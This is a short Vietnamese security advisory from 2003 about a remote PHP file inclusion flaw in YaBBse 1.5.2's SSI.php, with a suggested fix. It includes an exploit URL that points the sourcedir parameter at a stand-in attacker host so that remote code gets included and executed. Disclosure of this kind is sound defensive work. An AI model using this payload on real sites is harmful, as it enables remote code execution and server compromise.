Lỗi bảo mật của YaBBse 1.5.2
trang này đã được đọc lần
Advisory name: Thi hành lệnh từ xa trong YaBBse
1.5.2 (php version)
Application: Yet another Bulletin Board 1.5.2
Vendor: www.yabbse.org
Date: 06.05.2003
Impact: Attacker có thể sử dụng code php tùy tiện
Vấn đề:
Tên file là SSI.php.
Lỗi này tương tự như version YaBB 1.5.1.
SSI.php:
------------------------------------------
include_once ($sourcedir . '/Errors.php');
include_once ($sourcedir . '/Subs.php');
include_once ($sourcedir . '/Load.php');
------------------------------------------
Ta có thể xác định biến $sourcedir thông qua URL và include vài PHP script local
hay
remote nếu remote inclusion có hiệu lực trong file php.ini.
Bug này không khai thác được nếu registar_globals được set sang OFF.
Khai thác:
http://www.victim.com/yabbse/ssi.php?sourcedir=http://www.attacker.com
Attacker có thể thay file Errors.php lên server.
Giải pháp:
Thêm dòng này trước dòng include_once() mà ta đề cập ở trên.
if (!isset($sourcedir)) $sourcedir = "";
Ta cũng nên chú ý đến dòng này
------------------------------------------
(Line #031) $full_yabbse_path = '.';
(Line #048) include_once ($full_yabbse_path . '/Settings.php');
------------------------------------------
và trong Settings.php:
------------------------------------------
(Line #067) $sourcedir = "/home/something/board/Sources";
------------------------------------------
vì thế trước khi Errors.php được include, $sourcedir thì *luôn luôn* set sang
một
giá trị, ghi đè lên bất kỳ biến nào mà đi qua URL.